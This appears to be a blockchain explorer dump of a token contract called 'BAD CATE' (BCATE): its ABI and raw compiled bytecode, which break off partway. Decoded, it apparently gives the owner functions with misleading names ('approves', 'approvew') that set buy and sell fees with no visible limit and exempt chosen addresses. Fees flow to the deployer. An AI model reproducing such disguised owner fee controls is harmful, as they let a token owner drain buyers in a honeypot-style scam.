Loading
[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [], "name": "Received", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "internalType": "uint256", "name": "tokensSwapped", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "ethReceived", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "tokensIntoLiqudity", "type": "uint256" } ], "name": "SwapAndLiquify", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "_bRate", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_sRate", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "tokenAmount", "type": "uint256" } ], "name": "addLiquidity", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "_sell", "type": "uint256" }, { "internalType": "uint256", "name": "_buy", "type": "uint256" } ], "name": "approves", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "addresses", "type": "address[]" } ], "name": "approvew", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "burn", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "subtractedValue", "type": "uint256" } ], "name": "decreaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "getPairAddress", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "getRouterAddress", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "addedValue", "type": "uint256" } ], "name": "increaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_address", "type": "address" } ], "name": "isExcludedFromFees", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "isSwapLocked", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
6080604052600a6007555f600a60146101000a81548160ff0219169083151502179055506001600a60156101000a81548160ff0219169083151502179055505f600b555f600c55348015610051575f80fd5b5061006e6100636107bd60201b60201c565b6107c460201b60201c565b5f6012600a61007d9190610d78565b633b9aca0061008c9190610dc2565b90506100ab61009f6107bd60201b60201c565b8261088560201b60201c565b6100b96107bd60201b60201c565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061017e30600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610a0860201b60201c565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061020c9190610e61565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610292573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102b69190610e61565b6040518363ffffffff1660e01b81526004016102d3929190610e9b565b6020604051808303815f875af11580156102ef573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103139190610e61565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016103ef929190610ed1565b6020604051808303815f875af115801561040b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061042f9190610f2d565b50600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f6104ed610bcb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f61054f610bcb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f61067c610bcb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050611138565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ea90610fb2565b60405180910390fd5b61090881600554610bf260201b90919060201c565b60058190555061095e8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bf260201b90919060201c565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109fc9190610fd0565b60405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d90611059565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ae4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adb906110e7565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bbe9190610fd0565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8183610bff9190611105565b905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610c8957808604811115610c6557610c64610c07565b5b6001851615610c745780820291505b8081029050610c8285610c34565b9450610c49565b94509492505050565b5f82610ca15760019050610d5c565b81610cae575f9050610d5c565b8160018114610cc45760028114610cce57610cfd565b6001915050610d5c565b60ff841115610ce057610cdf610c07565b5b8360020a915084821115610cf757610cf6610c07565b5b50610d5c565b5060208310610133831016604e8410600b8410161715610d325782820a905083811115610d2d57610d2c610c07565b5b610d5c565b610d3f8484846001610c40565b92509050818404811115610d5657610d55610c07565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610d8282610d63565b9150610d8d83610d6c565b9250610dba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610c92565b905092915050565b5f610dcc82610d63565b9150610dd783610d63565b9250828202610de581610d63565b91508282048414831517610dfc57610dfb610c07565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610e3082610e07565b9050919050565b610e4081610e26565b8114610e4a575f80fd5b50565b5f81519050610e5b81610e37565b92915050565b5f60208284031215610e7657610e75610e03565b5b5f610e8384828501610e4d565b91505092915050565b610e9581610e26565b82525050565b5f604082019050610eae5f830185610e8c565b610ebb6020830184610e8c565b9392505050565b610ecb81610d63565b82525050565b5f604082019050610ee45f830185610e8c565b610ef16020830184610ec2565b9392505050565b5f8115159050919050565b610f0c81610ef8565b8114610f16575f80fd5b50565b5f81519050610f2781610f03565b92915050565b5f60208284031215610f4257610f41610e03565b5b5f610f4f84828501610f19565b91505092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610f9c601f83610f58565b9150610fa782610f68565b602082019050919050565b5f6020820190508181035f830152610fc981610f90565b9050919050565b5f602082019050610fe35f830184610ec2565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611043602483610f58565b915061104e82610fe9565b604082019050919050565b5f6020820190508181035f83015261107081611037565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6110d1602283610f58565b91506110dc82611077565b604082019050919050565b5f6020820190508181035f8301526110fe816110c5565b9050919050565b5f61110f82610d63565b915061111a83610d63565b925082820190508082111561113257611131610c07565b5b92915050565b61272c806111455f395ff3fe60806040526004361061014e575f3560e01c8063773b68c9116100b5578063cdf4bab91161006e578063cdf4bab9146104d1578063ce2ab384146104fb578063d54f7d5e14610523578063dd62ed3e1461054d578063eb30fda114610589578063f2fde38b146105b357610181565b8063773b68c9146103b35780638d5f81e2146103db5780638da5cb5b1461040557806395d89b411461042f578063a457c2d714610459578063a9059cbb1461049557610181565b806342966c681161010757806342966c68146102b75780634fbee193146102df57806351c6590a1461031b578063677d87081461033757806370a0823114610361578063715018a61461039d57610181565b806306fdde0314610185578063095ea7b3146101af57806318160ddd146101eb57806323b872dd14610215578063313ce56714610251578063395093511461027b57610181565b36610181577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b5f80fd5b348015610190575f80fd5b506101996105db565b6040516101a69190611aca565b60405180910390f35b3480156101ba575f80fd5b506101d560048036038101906101d09190611b88565b610618565b6040516101e29190611be0565b60405180910390f35b3480156101f6575f80fd5b506101ff610635565b60405161020c9190611c08565b60405180910390f35b348015610220575f80fd5b5061023b60048036038101906102369190611c21565b61063e565b6040516102489190611be0565b60405180910390f35b34801561025c575f80fd5b50610265610712565b6040516102729190611c8c565b60405180910390f35b348015610286575f80fd5b506102a1600480360381019061029c9190611b88565b61071a565b6040516102ae9190611be0565b60405180910390f35b3480156102c2575f80fd5b506102dd60048036038101906102d89190611ca5565b6107c8565b005b3480156102ea575f80fd5b5061030560048036038101906103009190611cd0565b6107dc565b6040516103129190611be0565b60405180910390f35b61033560048036038101906103309190611ca5565b61082e565b005b348015610342575f80fd5b5061034b61088a565b6040516103589190611c08565b60405180910390f35b34801561036c575f80fd5b5061038760048036038101906103829190611cd0565b610890565b6040516103949190611c08565b60405180910390f35b3480156103a8575f80fd5b506103b16108d6565b005b3480156103be575f80fd5b506103d960048036038101906103d49190611cfb565b6108e9565b005b3480156103e6575f80fd5b506103ef610903565b6040516103fc9190611d48565b60405180910390f35b348015610410575f80fd5b5061041961092b565b6040516104269190611d48565b60405180910390f35b34801561043a575f80fd5b50610443610952565b6040516104509190611aca565b60405180910390f35b348015610464575f80fd5b5061047f600480360381019061047a9190611b88565b61098f565b60405161048c9190611be0565b60405180910390f35b3480156104a0575f80fd5b506104bb60048036038101906104b69190611b88565b610a57565b6040516104c89190611be0565b60405180910390f35b3480156104dc575f80fd5b506104e5610a74565b6040516104f29190611be0565b60405180910390f35b348015610506575f80fd5b50610521600480360381019061051c9190611ea1565b610a8a565b005b34801561052e575f80fd5b50610537610b68565b6040516105449190611d48565b60405180910390f35b348015610558575f80fd5b50610573600480360381019061056e9190611ee8565b610b90565b6040516105809190611c08565b60405180910390f35b348015610594575f80fd5b5061059d610c12565b6040516105aa9190611c08565b60405180910390f35b3480156105be575f80fd5b506105d960048036038101906105d49190611cd0565b610c18565b005b60606040518060400160405280600881526020017f4241442043415445000000000000000000000000000000000000000000000000815250905090565b5f61062b610624610c9a565b8484610ca1565b6001905092915050565b5f600554905090565b5f61064a848484610e64565b61070784610656610c9a565b610702856040518060600160405280602881526020016126aa6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106b9610c9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114d39092919063ffffffff16565b610ca1565b600190509392505050565b5f6012905090565b5f6107be610726610c9a565b846107b98560025f610736610c9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461152790919063ffffffff16565b610ca1565b6001905092915050565b6107d96107d3610c9a565b8261153c565b50565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6108366116d9565b6001600a60146101000a81548160ff02191690831515021790555061086361085c61092b565b3083610e64565b61086d8134611757565b5f600a60146101000a81548160ff02191690831515021790555050565b600c5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108de6116d9565b6108e75f611837565b565b6108f16116d9565b81600b8190555080600c819055505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4243415445000000000000000000000000000000000000000000000000000000815250905090565b5f610a4d61099b610c9a565b84610a48856040518060600160405280602581526020016126d26025913960025f6109c4610c9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114d39092919063ffffffff16565b610ca1565b6001905092915050565b5f610a6a610a63610c9a565b8484610e64565b6001905092915050565b5f600a60149054906101000a900460ff16905090565b610a926116d9565b6103e881511115610ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acf90611f96565b60405180910390fd5b5f600990505f5b8251811015610b63576001825f858481518110610aff57610afe611fb4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610adf565b505050565b5f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600b5481565b610c206116d9565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8590612051565b60405180910390fd5b610c9781611837565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d06906120df565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d749061216d565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e579190611c08565b60405180910390a3505050565b610e6f8383836118f8565b5f610e7861092b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ee65750610eb661092b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111a75760095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610f89575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156111a65760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561101657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611089576110446103e8611036600b5485611a1b90919063ffffffff16565b611a3090919063ffffffff16565b90504360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111325750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111a5576111606103e8611152600c5485611a1b90919063ffffffff16565b611a3090919063ffffffff16565b90504360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b5b5f8190505f81111561132b575f8211156113155761122c8260015f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461152790919063ffffffff16565b60015f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161130c9190611c08565b60405180910390a35b6113288184611a4590919063ffffffff16565b92505b611395836040518060600160405280602681526020016126846026913960015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114d39092919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114268360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461152790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114c49190611c08565b60405180910390a35050505050565b5f83831115829061151a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115119190611aca565b60405180910390fd5b5082840390509392505050565b5f818361153491906121b8565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a19061225b565b60405180910390fd5b611614816040518060600160405280602281526020016126626022913960015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114d39092919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061166a81600554611a4590919063ffffffff16565b6005819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116cd9190611c08565b60405180910390a35050565b6116e1610c9a565b73ffffffffffffffffffffffffffffffffffffffff166116ff61092b565b73ffffffffffffffffffffffffffffffffffffffff1614611755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174c906122c3565b60405180910390fd5b565b61178330600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ca1565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f806117cd61092b565b426040518863ffffffff1660e01b81526004016117ef96959493929190612323565b60606040518083038185885af115801561180b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906118309190612396565b5050505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d90612456565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cb906124e4565b60405180910390fd5b5f8111611a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0d90612572565b60405180910390fd5b505050565b5f8183611a289190612590565b905092915050565b5f8183611a3d91906125fe565b905092915050565b5f8183611a52919061262e565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611a9c82611a5a565b611aa68185611a64565b9350611ab6818560208601611a74565b611abf81611a82565b840191505092915050565b5f6020820190508181035f830152611ae28184611a92565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611b2482611afb565b9050919050565b611b3481611b1a565b8114611b3e575f80fd5b50565b5f81359050611b4f81611b2b565b92915050565b5f819050919050565b611b6781611b55565b8114611b71575f80fd5b50565b5f81359050611b8281611b5e565b92915050565b5f8060408385031215611b9e57611b9d611af3565b5b5f611bab85828601611b41565b9250506020611bbc85828601611b74565b9150509250929050565b5f8115159050919050565b611bda81611bc6565b82525050565b5f602082019050611bf35f830184611bd1565b92915050565b611c0281611b55565b82525050565b5f602082019050611c1b5f830184611bf9565b92915050565b5f805f60608486031215611c3857611c37611af3565b5b5f611c4586828701611b41565b9350506020611c5686828701611b41565b9250506040611c6786828701611b74565b9150509250925092565b5f60ff82169050919050565b611c8681611c71565b82525050565b5f602082019050611c9f5f830184611c7d565b92915050565b5f60208284031215611cba57611cb9611af3565b5b5f611cc784828501611b74565b91505092915050565b5f60208284031215611ce557611ce4611af3565b5b5f611cf284828501611b41565b91505092915050565b5f8060408385031215611d1157611d10611af3565b5b5f611d1e85828601611b74565b9250506020611d2f85828601611b74565b9150509250929050565b611d4281611b1a565b82525050565b5f602082019050611d5b5f830184611d39565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611d9b82611a82565b810181811067ffffffffffffffff82111715611dba57611db9611d65565b5b80604052505050565b5f611dcc611aea565b9050611dd88282611d92565b919050565b5f67ffffffffffffffff821115611df757611df6611d65565b5b602082029050602081019050919050565b5f80fd5b5f611e1e611e1984611ddd565b611dc3565b90508083825260208201905060208402830185811115611e4157611e40611e08565b5b835b81811015611e6a5780611e568882611b41565b845260208401935050602081019050611e43565b5050509392505050565b5f82601f830112611e8857611e87611d61565b5b8135611e98848260208601611e0c565b91505092915050565b5f60208284031215611eb657611eb5611af3565b5b5f82013567ffffffffffffffff811115611ed357611ed2611af7565b5b611edf84828501611e74565b91505092915050565b5f8060408385031215611efe57611efd611af3565b5b5f611f0b85828601611b41565b9250506020611f1c85828601611b41565b9150509250929050565b7f4d6178696d756d206f66203530302063616e206265206164646564206174206f5f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f611f80602383611a64565b9150611f8b82611f26565b604082019050919050565b5f6020820190508181035f830152611fad81611f74565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61203b602683611a64565b915061204682611fe1565b604082019050919050565b5f6020820190508181035f8301526120688161202f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6120c9602483611a64565b91506120d48261206f565b604082019050919050565b5f6020820190508181035f8301526120f6816120bd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f82